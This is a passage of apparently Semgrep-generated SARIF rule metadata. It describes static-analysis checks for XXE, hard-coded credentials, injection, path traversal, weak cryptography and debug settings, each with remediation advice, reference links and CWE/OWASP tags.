Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe","id":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","name":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","id":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","name":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","id":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","name":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","id":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","name":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"help":{"markdown":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","id":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","name":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","properties":{"precision":"very-high","tags":["CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-insecure-template-usage.express-insecure-template-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","id":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","name":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"help":{"markdown":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe)\n - [https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://stackoverflow.com/questions/7665512/why-use-is-safe](https://stackoverflow.com/questions/7665512/why-use-is-safe)\n","text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","id":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","name":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","id":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","name":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","id":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","name":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","id":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","name":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli)\n - [https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute](https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","id":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","name":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask","id":"python.flask.db.pymongo-flask.pymongo-flask","name":"python.flask.db.pymongo-flask.pymongo-flask","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.pymongo-flask.pymongo-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://bento.dev/checks/boto3/hardcoded-access-token/](https://bento.dev/checks/boto3/hardcoded-access-token/)\n - [https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token","id":"python.boto3.security.hardcoded-token.hardcoded-token","name":"python.boto3.security.hardcoded-token.hardcoded-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.boto3.security.hardcoded-token.hardcoded-token"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","id":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","name":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"help":{"markdown":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Flags the use of a predictable random 